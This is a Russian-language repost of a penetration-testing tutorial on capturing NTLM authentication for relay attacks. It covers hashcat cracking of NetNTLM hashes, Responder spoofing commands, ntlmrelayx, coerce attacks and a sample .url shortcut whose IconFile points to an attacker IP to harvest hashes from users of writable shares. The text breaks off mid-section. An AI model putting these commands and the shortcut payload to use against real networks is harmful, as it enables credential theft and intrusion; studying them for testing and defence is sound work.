Категория > Новости > Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки - «Новости»
Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки - «Новости»8-04-2023, 00:00. Автор: Мирослава |
Crack.SH. Отсутствует проверка целостности сообщения (MIC — message integrity code), которая защищает от Relay-атак с одного протокола на другой. Как можно догадаться, в NTLMv2 используется хеш NetNTLMv2. В нем разработчики постарались решить все проблемы протокола NTLMv1. Действительно, можно сказать, что обратить этот хеш за разумное время хотя бы до NT пока не представляется возможным. Подготовить радужные таблицы не получится, потому что к CHALLENGE добавилась метка времени. А вот с Relay-атаками не все так однозначно, но об этом мы поговорим в другой раз. В этой статье будут рассмотрены некоторые варианты захвата NTLM-аутентификации для реализации Relay-атак. В следующей мы обсудим непосредственно Relay-атаки. Самое простое, что можно сделать с полученным NetNTLM-хешем любой версии, — это подобрать пароль по словарю. Например, так:
hashcat -a0 -m5500 hash wordlist -rrules (NetNTLMv1)
hashcat -a0 -m5600 hash wordlist -rrules (NetNTLMv2)
Захват с ResponderОдин из самых простых способов получить NTLM-аутентификацию — спуфинг с помощью Responder (этот инструмент можно найти в Kali). infoМожно запустить NetBIOS spoofing с помощью Responder и полученную аутентификацию использовать для Relay-атаки. Для этого нужно просто отключить в конфиге Responder сервера SMB, HTTP и DCE RPC, чтобы не возникло конфликта с ntlmrelayx. После этого запустить Responder и ntlmrelayx. Уверен, что многие уже использовали этот инструмент для захвата хешей, поэтому кратко пробежимся по основным функциям. Responder предоставляет пользователю набор серверов для захвата и обработки аутентификаций. Список серверов Responder Захват хеша с Responder выглядит примерно следующим образом. Захват NetNTLM-хеша с помощью Responder Этот формат пригоден для брута с помощью hashcat. Все захваченные хеши Responder складывает в базу SQLite, расположенную по пути
sqlitebrowser /usr/share/responder/Responder.db
Внешний вид Responder.dbФайл конфигурации Responder находится здесь: Конфиг Responder.conf Responder незаменим для реализации спуфинг‑атак в сетях на основе Windows. Предпосылкой для выполнения атаки типа NetBIOS Spoofing служит наличие в сети широковещательного трафика типа NBNS, LLMNR и mDNS. Трафик в сети можно прослушивать с помощью Wireshark, применяя фильтр NBNS. NBNS-трафик в сети Вместо визуального анализа трафика можем просто запустить Responder в режиме анализа следующей командой:
responder -Ieth0 -A
После запуска получаем примерно такую картину, можем пробовать спуфинг. Responder в режиме анализа Спуфинг‑атаки для захвата аутентификации можно выполнять следующей командой:
responder -Ieth0 -dwF
Если атака удалась, переходим к следующим шагам. Результат выполнения спуфинг‑атаки Захват NTLM-аутентификации для Relay-атакДля выполнения Relay-атак удобнее всего использовать ntlmrelayx из пакета impacket. В этом инструменте реализованы часто встречающиеся протоколы, с которых можно захватить NTLM-аутентификацию. Вообще, ntlmrelayx имеет клиент‑серверную модель, и в этой статье мы как раз обсудим все RelayServers, реализованные в нем, и даже добавим новый, которого еще нет в основной ветке. infoСтоит сразу отметить, что порты, которые прослушивают серверы RelayServer ntlmrelayx, можно сменить. Это может пригодиться при реализации сложных атак. SMB (445/TCP)Протокол SMB с точки зрения Relay-атак наиболее изученный и популярный, поэтому и способов захвата аутентификации с SMB больше всего. Вот несколько вариантов того, как это можно сделать:
Coerce-атакиС coerce-атаками мы сейчас подробно разбираться не будем. Стоит упомянуть, что если у нас есть учетная запись, то coerce уже не уязвимость, а особенность архитектуры. Принуждать можно любым удобным скриптом, например infoНа самом деле coerce-атаки можно выполнять не только с 445-го порта, но и с 139, 135 и 4915-го портов. Подробнее об этом, а также о методах защиты от этих атак можно почитать на «Хабре». Пример использования Запуск Coercer.py В результате принуждения мы получаем NTLM-аутентификацию. Результат выполнения coerce-атаки Важно отметить, что в результате выполнения такой атаки мы получаем именно машинную учетную запись, это необходимо помнить при планировании Relay-атак. ЯрлыкиТехники с ярлычками довольно старые и действенные, называются они slinky и scuffy. Если в сети присутствуют папки, открытые на запись, обязательно нужно положить в них ярлычки, которые будут ссылаться на IP-адрес атакующего. Как только пользователь откроет сетевую папку с нашим ярлыком, нам прилетит NTLM-аутентификация на SMB. Реализовать атаку можно несколькими способами:
Для эксперимента выберем третий вариант и будем использовать технику, которая немного отличается от slinky и scuffy. Содержимое файла с расширением URL=whateverWorkingDirectory=whateverIconFile=<attacker IP>%USERNAME%.iconIconIndex=1 Положили ярлык в сетевую папку, перешли в нее и получили NTLM-аутентификацию, как показано на следующих рисунках. Переходим в сетевую папку, где расположен ярлык. Положили ярлык в сетевую папку Сразу же прилетает NTLM-аутентификация. Результат размещения ярлыка в сетевой папке В примере хеш захвачен с помощью Responder, на практике же можно запустить ntlmrelayx и выполнить Relay-атаку. Триггерим вручнуюПерейти обратно к новости |